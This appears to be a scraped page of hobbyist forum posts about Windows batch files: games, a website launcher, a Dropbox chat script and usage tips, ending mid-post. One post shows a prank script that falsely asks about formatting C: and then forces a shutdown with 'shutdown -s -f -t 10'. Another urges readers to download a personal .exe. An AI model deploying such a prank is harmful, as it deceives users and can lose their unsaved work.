Once again, I need Batch Help

Is there a command that can count the times a code "plays/runs" and then do something with that number? such as....@ECHO OFF echo.Echo HiEcho. pause >nulEcho.:againstart Blah.txtgoto :againIf goto :again = 5 times goto :end <---- concept Idea:end echo.echo now its opened 5 timesecho.pauseNow if it went to again 5 times is there a way that i can send it another anchor in the script?

Posted by spiker 9 years ago


Website Selector

Hello everyone I came up with this simple but very useful batch file. Copy the Text you see below and then paste it to notepad and save it as .bat FOR EXAMPLE===> Website Selector.bat COPY   ll   \/ @echo off title Websites color 0a cls :back echo now pick a website!!! echo 1=www.google.com echo 2=www.youtube.com echo 3=www.yahoo.com echo 4=www.facebook.com echo 5=www.twitter.com echo 6=www.instructables.com SET /p pick= if %pick%==1 goto 1 if %pick%==2 goto 2 if %pick%==3 goto 3 if %pick%==4 goto 4 if %pick%==5 goto 5 if %pick%==6 goto 6 :1 start www.google.com goto stuff :2 start www.youtube.com goto stuff :3 start www.yahoo.com goto stuff :4 start www.facebook.com goto stuff :5 start www.twitter.com goto stuff :6 start www.instructables.com goto stuff :stuff echo press 1 to go back to choosing a website or 2 to exit SET /p go= if %go%==1 goto back if %go%==2 goto exit :back goto back :exit goto end :end exit

Posted by el-xavi26 6 years ago


war games simulation batch file

@echo off title thermonuclear war color 0a :top echo would you like to play a game ? set /p ans= if not defined ans  (goto please ) if %ans%==yes (goto yes ) if %ans% NEQ yes (goto exit ) :please cls echo please type a responce echo (no caps) pause goto top :exit exit :yes cls echo welcome what is your name? set /p name= if not defined name ( goto please ) if %name% EQU mythbatcher (goto russialoser ) cls echo welcome %name% echo. echo thermonuclear war simulator activated echo. echo %name% you have the first move echo. echo who would you like to fight for? echo 1=America   2=Russia set /p side= if not defined side (goto please ) if %side%==2 (goto america ) if %side%==1 (goto russia ) :america cls echo %name% you are fighting for Russia                    echo.                           America - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one ) if %num%==2 (goto two ) if %num%==3 (goto three ) if %num%==4 (goto four ) if %num%==5 (goto five ) :one cls echo icbm fired at New Yourk City                            America defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto america 2 :two    cls                              echo two icbm's fired at New York City New York and Los angles Califorina                  echo time untill impact 30 seconds                                       America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :three cls echo three icbm's fired at New York City New York and Losangles Califorina and Seatle Washington echo time untill impact 30 seconds                                        America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :four cls echo four icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania echo time untill impact 30 seconds                                America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :five cls echo five icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania and Boston Masetucetts echo time untill impact 30 seconds                             America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :america2 cls echo %name% you have another move                      America - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two1 ) :one1 cls echo one icbm fired at Washington D.C. echo time untill impact 30 seconds                       America - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto america3 :two1 cls echo two icbm's fired at Washington D.C. and Miami Florida      echo  time untill impact 30 seconds          America - defcon 3 ping localhost -n 4 > Nul echo impact pause goto america3 :america3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon= if not defined wepon ( goto please ) if %wepon%==1 (goto icbm ) if %wepon%==2 ( goto nuc ) :icbm cls echo one icbm fired at  the Smithsonian archive bunker echo time untill impact 30 seconds                    America - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1 :nuc cls echo one nuclear war head fired at the US Capital          America - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1 :defcon1 cls echo. echo America totlaly devestated echo. echo America - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion= if not defined desion (goto please ) if %desion%==wait (goto Russiawait ) if %desion%==fire ( goto Russiafire ) :Russiawait cls echo time untill impact of american icbm's 10 seconds ping localhost -n 4 > Nul cls echo impact echo all remaning defences destroyed echo total devestation is imenent pause goto end :Russsiafire cls echo remaning misles fired echo time untill impact 30 seconds ping localhost -n 4 > Nul echo impact pause goto Russiawait :end cls echo. echo *--------------------------------------------------------------* echo      GAME OVER echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - LOSE echo. echo RUSSIA - LOSE echo. echo total result NO WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. pause goto top2 :top2 cls echo would you like to play again? echo. set /p gameagain= if not defined gameagain (goto please ) if %gameagain% EQU yes (goto top ) if %gameagain% NEQ yes (goto exit ) :russia cls echo %name% you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two2 ) if %num%==3 (goto three3 ) if %num%==4 (goto four4 ) if %num%==5 (goto five5 ) :one1 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2 :two2    cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :three3 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                                        America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :four4 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :five5 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :russia2 cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two11 ) :one11 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3 :two11 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3 :russia3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon1= if not defined wepon1 ( goto please ) if %wepon1%==1 (goto icbm1 ) if %wepon1%==2 ( goto nuc1 ) :icbm1 cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1r :nuc1 cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1r :defcon1r cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion1= if not defined desion1(goto please ) if %desion1%==wait (goto Americawait ) if %desion1%==fire ( goto Americafire ) :Americawait cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto end :Americafire cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto Americawait exit :russialoser cls echo welcome mythbatcer you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two21 ) if %num%==3 (goto three31 ) if %num%==4 (goto four41 ) if %num%==5 (goto five51 ) :one11 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2m :two21   cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :three31 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                          America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :four41 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :five51 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :russia2m cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one111 ) if %num%==2 (goto two111 ) :one111 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3m :two111 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3m :russia3m cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon11= if not defined wepon11 (goto please ) if %wepon11%==1 (goto explosionboom ) if %wepon11%==2 (goto explosion ) :explosionboom cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 ping localhost -n 4 > Nul echo impact pause goto defcon1m :explosion cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1m :defcon1m cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion11= if not defined desion11(goto please ) if %desion11%==wait (goto waitforboom ) if %desion11%==fire ( goto firethosebooms ) :waitforboom cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto ENDM :firthosebooms cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto wait22 :endm cls echo. echo American scientest have descoverd the [x-wav] lazar echo this lazar can fit into a small simple packege and emitts no radiation echo The [x-wav] lazar can burn an area of sixty thousand miles across echo in under an  hour echo We have assembled an army of U-2 Dragon ladies outfitted with this revolutionary technology echo We will strik on your command echo. echo type strik to fire the  [x-wav]. This is our finest hour, America lies in your hands now echo good luck %name% echo. set /p command= if not defined command (goto please ) if %command% EQU strik (goto imposoble ) if %command%==wait (goto end ) if %command%==fire (goto imposoble ) :please1 cls echo incorrect responce pause goto endm :imposoble cls echo [X-WAV] SUCCESFUL echo You have won!!!!!!!!!!!! echo. echo *--------------------------------------------------------------* echo      GAME OVER         CONGRADULATIONS echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - !!!!!WIN!!!!! echo. echo RUSSIA - LOSE echo. echo total result YOU ARE THE WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. echo or is it echo. echo yu have unlocked a "secret" echo in TBMS V3.0 type secret in the main menu echo somthing interesting migh happen echo. pause goto top2  

Posted by Laserman595 8 years ago


war games simulation batch file

This is a batch file that mocks the movie war games i only used simple commands but it still took about a week to complet post where you think it can be improved i have already improved the impact display but havent posted it yet @echo off title thermonuclear war color 0a :top echo would you like to play a game ? set /p ans= if not defined ans  (goto please ) if %ans%==yes (goto yes ) if %ans% NEQ yes (goto exit ) :please cls echo please type a responce echo (no caps) pause goto top :exit exit :yes cls echo welcome what is your name? set /p name= if not defined name ( goto please ) if %name% EQU mythbatcher (goto russialoser ) cls echo welcome %name% echo. echo thermonuclear war simulator activated echo. echo %name% you have the first move echo. echo who would you like to fight for? echo 1=America   2=Russia set /p side= if not defined side (goto please ) if %side%==2 (goto america ) if %side%==1 (goto russia ) :america cls echo %name% you are fighting for Russia                    echo.                           America - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one ) if %num%==2 (goto two ) if %num%==3 (goto three ) if %num%==4 (goto four ) if %num%==5 (goto five ) :one cls echo icbm fired at New Yourk City                            America defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto america 2 :two    cls                              echo two icbm's fired at New York City New York and Los angles Califorina                  echo time untill impact 30 seconds                                       America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :three cls echo three icbm's fired at New York City New York and Losangles Califorina and Seatle Washington echo time untill impact 30 seconds                                        America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :four cls echo four icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania echo time untill impact 30 seconds                                America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :five cls echo five icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania and Boston Masetucetts echo time untill impact 30 seconds                             America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :america2 cls echo %name% you have another move                      America - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two1 ) :one1 cls echo one icbm fired at Washington D.C. echo time untill impact 30 seconds                       America - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto america3 :two1 cls echo two icbm's fired at Washington D.C. and Miami Florida      echo  time untill impact 30 seconds          America - defcon 3 ping localhost -n 4 > Nul echo impact pause goto america3 :america3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon= if not defined wepon ( goto please ) if %wepon%==1 (goto icbm ) if %wepon%==2 ( goto nuc ) :icbm cls echo one icbm fired at  the Smithsonian archive bunker echo time untill impact 30 seconds                    America - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1 :nuc cls echo one nuclear war head fired at the US Capital          America - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1 :defcon1 cls echo. echo America totlaly devestated echo. echo America - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion= if not defined desion (goto please ) if %desion%==wait (goto Russiawait ) if %desion%==fire ( goto Russiafire ) :Russiawait cls echo time untill impact of american icbm's 10 seconds ping localhost -n 4 > Nul cls echo impact echo all remaning defences destroyed echo total devestation is imenent pause goto end :Russsiafire cls echo remaning misles fired echo time untill impact 30 seconds ping localhost -n 4 > Nul echo impact pause goto Russiawait :end cls echo. echo *--------------------------------------------------------------* echo      GAME OVER echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - LOSE echo. echo RUSSIA - LOSE echo. echo total result NO WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. pause goto top2 :top2 cls echo would you like to play again? echo. set /p gameagain= if not defined gameagain (goto please ) if %gameagain% EQU yes (goto top ) if %gameagain% NEQ yes (goto exit ) :russia cls echo %name% you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two2 ) if %num%==3 (goto three3 ) if %num%==4 (goto four4 ) if %num%==5 (goto five5 ) :one1 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2 :two2    cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :three3 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                                        America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :four4 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :five5 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :russia2 cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two11 ) :one11 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3 :two11 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3 :russia3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon1= if not defined wepon1 ( goto please ) if %wepon1%==1 (goto icbm1 ) if %wepon1%==2 ( goto nuc1 ) :icbm1 cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1r :nuc1 cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1r :defcon1r cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion1= if not defined desion1(goto please ) if %desion1%==wait (goto Americawait ) if %desion1%==fire ( goto Americafire ) :Americawait cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto end :Americafire cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto Americawait exit :russialoser cls echo welcome mythbatcer you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two21 ) if %num%==3 (goto three31 ) if %num%==4 (goto four41 ) if %num%==5 (goto five51 ) :one11 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2m :two21   cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :three31 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                          America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :four41 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :five51 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :russia2m cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one111 ) if %num%==2 (goto two111 ) :one111 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3m :two111 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3m :russia3m cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon11= if not defined wepon11 (goto please ) if %wepon11%==1 (goto explosionboom ) if %wepon11%==2 (goto explosion ) :explosionboom cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 ping localhost -n 4 > Nul echo impact pause goto defcon1m :explosion cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1m :defcon1m cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion11= if not defined desion11(goto please ) if %desion11%==wait (goto waitforboom ) if %desion11%==fire ( goto firethosebooms ) :waitforboom cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto ENDM :firthosebooms cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto wait22 :endm cls echo. echo American scientest have descoverd the [x-wav] lazar echo this lazar can fit into a small simple packege and emitts no radiation echo The [x-wav] lazar can burn an area of sixty thousand miles across echo in under an  hour echo We have assembled an army of U-2 Dragon ladies outfitted with this revolutionary technology echo We will strik on your command echo. echo type strik to fire the  [x-wav]. This is our finest hour, America lies in your hands now echo good luck %name% echo. set /p command= if not defined command (goto please ) if %command% EQU strik (goto imposoble ) if %command%==wait (goto end ) if %command%==fire (goto imposoble ) :please1 cls echo incorrect responce pause goto endm :imposoble cls echo [X-WAV] SUCCESFUL echo You have won!!!!!!!!!!!! echo. echo *--------------------------------------------------------------* echo      GAME OVER         CONGRADULATIONS echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - !!!!!WIN!!!!! echo. echo RUSSIA - LOSE echo. echo total result YOU ARE THE WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. echo or is it echo. echo yu have unlocked a "secret" echo in TBMS V3.0 type secret in the main menu echo somthing interesting migh happen echo. pause goto top2  

Posted by Laserman595 8 years ago


Help me at "for" command (Batch/CMD)

Can anyone help me? I've got a problem with the "for" command. I can't include decimals (like 0,1). Here's the code: @echo off :Start cls echo. & echo. echo Let's play a game! It's called echo NUMBER! Type in any number echo between 1 and 10: set/p "choice=>" for /L %%G in (1,1,10) do if %choice%==%%G goto Add :Wrong echo. echo Choose a number between 1 and 10! ping localhost -n >nul 2 goto Start :Add if %choice%==10 goto Tie set one=1 set /a result=%choice%+%one% echo I choose %result%! ping localhost -n >nul 3 goto Loser :Tie echo I choose 10, too! ping localhost -n >nul 3 echo. echo -=-=-=-=-=-TIE-=-=-=-=-=- echo. echo Press ENTER pause>nul goto Again :Loser cls echo. & echo. echo %result% is bigger than %choice%. echo Sorry, you lose. echo Press ENTER pause>nul   goto Again :Again cls echo. & echo. echo Wanna play again? (y/n) set/p "choice1=>" if %choice1%==y goto Start if %choice1%==n goto End :Sorry echo. echo Choose y or n! ping localhost -n >nul 3 goto Again :End exit The problem is at line 9: "for /L %%G in (1,1,10) do if %choice%==%%G goto Add" With (1,1,10) the sysem can only recognise Integers. So, if you know any way to solve that problem or to make the code more compact, please tell me :P PS: I'm from Brazil, so I'm sorry if there are any grammar mistakes.

Posted by Tetheu98 5 years ago


Chat

Hellow everyone, i kinda run into this site, and this group, and i made an acc as you can see :3 i kinda made a chat today in batch, pretty simple and using Dropbox, but i haz some ideas with powershell and using an FTP. but here is a pic of how it works and the code ofcorse! code client: @echo off SET name=%username% color 0a :main cls echo ############################# echo #welcome to the dropbox chat# echo ############################# echo. echo Make your sellection bellow! echo. echo [1]-Collor menu echo [2]-Chat name echo [3]-Chatroom echo [4]-Info (waar normaal nooit iemand kijkt) echo name: %name% echo. :sellect1 set /p C=Sellection: if "%C%"=="1" goto collor if "%C%"=="2" goto name if "%C%"=="3" goto chat1 if "%C%"=="4" goto info if Else goto main /goto main :chat1 echo %name% just joined the chat>>chat.txt goto chat :collor cls echo ############ echo #COLLORS!!!# echo ############ echo. echo pick a collor echo. echo [1]- White echo [2]- Green echo [3]- Red echo [4]- Purple echo [5]- Blue echo [6]- Yellow echo. echo [0]- Main menu echo. :sellect2 set /p C=Collor: if "%C%"=="1" color F if "%C%"=="2" color A if "%C%"=="3" color C if "%C%"=="4" color D if "%C%"=="5" color B if "%C%"=="6" color E if "%C%"=="0" goto main goto collor :name cls echo ############### echo #create a name# echo ############### echo. echo Type in your name (please dont use spacebar) echo. :sellect3 set /p C=Name: SET name=%C% goto main :chat cls echo ######## echo #-CHAT-# echo ######## echo. echo Every msg you type will be added in the chat.txt file, echo so chek on that file for the chat. echo. :sellect3 set /p C=: echo [%time%] %name%:%C%>>chat.txt if "%C%"=="/clear" goto del if "%C%"=="/afk" echo %name% is currently afk>>chat.txt if "%C%"=="/back" echo %name% is no longer afk>>chat.txt if "%C%"=="porn" echo %name% is a perv>>chat.txt goto chat :del del chat.txt goto chat code reader: @echo off :1 cls type chat.txt PING -n 2 127.0.0.1>nul goto 1 thats a bit it, kinda simple i know, but its fun to use and fun to make, feedback is always welcome! ^__^ have a great day/night bye!

Posted by dwngrt 5 years ago


Game test thing

@echo off :menu cls echo Welcome to Martin's Zombie Survival Test! echo Are you ready to begin? echo 1) Yes! echo 2) No! set /p letter= if %letter% == 1 close if %letter% == 2 close cls :startgame echo Question 1. echo A flu has just infeccted your city and it was turning people into zombies, what would you do to stop yourself from being infected? echo 1) Hide in your cupboard echo 2) Get a injection from the doctor echo 3) or start to research your own cure in your private lab set /p letter= if %letter% == 1 goto menu if %letter% == 2 goto menu if %letter% == 3 goto lvl2 :lvl2 cls echo Question 2. echo You are mixing chemicals together when all of a sudden a zombie breaks into your lab, what would you do? echo 1) Throw the chemicals over it. echo 2) Pull out your gun and shoot it echo 3) or stab it with your scalpel set /p letter= if %letter% == 1 goto menu if %letter% == 2 goto menu if %letter% == 3 goto lvl3 :lvl3 cls

Posted by JMTS 8 years ago


my batch

I have been playing around with batch coding for a month now and i finaly finished and figered out everything i need to do to get this to work. so here it is.@ECHO OFFcolor 0a:topecho -----------------------------------------------echo type the number 1 for a number guessing gameecho type the number 2 for a calculatorecho type the number 3 to see a dumb thing a made up.echo type the number 4 to exit.echo this is a free-to-use programecho give all credit to dsman1echo do not edit with out dsman1's consentecho -----------------------------------------------set variable1=1set variable2=yset variable3=nset variable4=3set variable5=2set variable7=0set variable9=4set /p udefine=if %udefine%==%variable1% (goto game)if %udefine%==%variable5% (goto calc) if %udefine%==%variable4% (goto starwars)if %udefine%==%variable9% (exit):calcecho hi and wellcome to calcualtorecho credit for programing goes to dsman1echo -----------------------------------------------echo mutiply = *echo divide = /echo add = +echo subtract= -echo parenthesis can be in your problems.:loopecho -----------------------------------------------SET /p UDefine=echo =SET /a UDefine=%UDefine%ECHO %UDefine%echo math is funECHO.echo again? y/nset /p udefine=if %udefine%==%variable2% (goto loop) else (goto top ):game@ECHO OFFSET /a GuessNum=0SET /a Answer=%random%ECHO Guess what Number I'm thinking of.:RetrySET /p Guess=IF %Guess% LSS %Answer% ECHO My Number is Higher.IF %Guess% GTR %Answer% ECHO My Number is Lower.IF %Guess%==%Answer% GOTO ENDECHO.SET /a GuessNum=%GuessNum%+1GOTO Retry:ENDECHO You are Correct! The Answer was %Answer%ECHO It took %GuessNum% Guesses.ECHO.echo play again? y/nset /p udefine=if %udefine%==%variable2% (goto game) else (goto top ):starwarsecho dont press a buttonpauseecho ok pleasepauseecho please with suger on toppauseecho ok come on nowpauseecho you are just trying to irritate mepauseecho and it's working...pauseecho i will blow you up in...pauseecho 5pause echo 4pause echo 3pauseecho 2pause echo 1pause echo boom!!!pauseecho hahapauseecho your dead!pauseecho try to push a button now!pauseecho darnpauseecho echo / you will die mortal \echo / mahaha \echo / \echo pauseset /a variable6=500:heheset /a variable6=%variable6%-1echo hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaif %variable6%==0 goto :hahagoto hehe:hahaecho play again? y/nset /p udefine=if %udefine%==%variable2% (goto starwars) else (goto top )copy that and paste it into note pad. save it with .bat at the end. save it to your desktop and then click on it.this is what the code looks like. me copying the code messed it up. so please just download the .exe verson[www.dsman1.webs.com/calc.exe download]

Posted by dsman195276 10 years ago


Chocolate muffins

Who likes chocolate muffins if you do goto https://www.instructables.com/id/My_Mums_Delicious_Chocolate_Muffins/

Posted by knex maddo 10 years ago


WEBSITES!!!

My sites www.legoengines.co.cc www.modelengines.co.cc I made these 4 friends: www.thetiger.co.cc www.nowimpsallowed.co.cc None of these are done!!! goto them though. the top 2 are good.

Posted by sci4me 8 years ago


Batch

I was wondering if any one could tell me whats wrong with this batch file?@ echo offecho Would you like to format C:? Y/Nset /p answer=if %answer%=n goto 2exitif %answer%=y goto 3exit:2echo System Failure!shutdown -s -f -t 10pause:3echo ERROR!!shutdown -s -f -t 10pause

Posted by eragon44111 9 years ago


picaxe sensitivitį

Hi there instructables, recently I have bought a picaxe starter kit, soldered it and stuff, played with some code and leds, but now I want to make a time control, so I bought a cheepo alarm clock, desolder the piezo beeper and extended the wires so I can conect them to my picaxe, turns out its too sensitive, the pin I've set to input piks up heat fom my fingers about a centimeter away, breath too, I think it picks up grounding as a signal too, does it ment to be that sensitive or have I messed something up with soldering or the code?  heres the code I used  main: if pinc.4 = 1 then goto led goto main led: high c.1 pause 500 low c.1 pause 100 goto main

Posted by batonas 4 years ago


Useful Batch Commands

Hey guys, I wanted to post a quick forum topic about useful batch commands that are seldom used or not well-known, or maybe just useful tidbits. Note: These do not have to be used, they are just extremely helpful and are just "extra," meaning you could probably find easier-to-understand but not as useful commands. 1. The CHOICE command The reason this command is so cool is that unlike other Y/N menus, when you enter the desired number, you don't have to hit enter, it goes straight to the next screen. You can also program it to execute a command after a set amount of time. Here's how to write it out: choice /c:12345 /t:5,10 if errorlevel 5 goto ha if errorlevel 4 goto joke if errorlevel 3 goto tired if errorlevel 2 goto fried if errorlevel 1 goto chiken To time it, you type /t and then a colon. You write the choice that you want to be timed, e.g. 5, and the amount of time in seconds you want it to wait for seperated by a comma. 2. The Random Variable The reason I deceided to put this up is because it is one of the only if not the only variable that is already programmed into the system. By using it correctly, you can generate a number between 1 and 32767. WHAT?! Of course, you can narrow it down, to, say about 1 and 100. :dim set rnd=%random% if %rnd% GEQ 101 goto dim if %rnd% LEQ 0 goto dim set 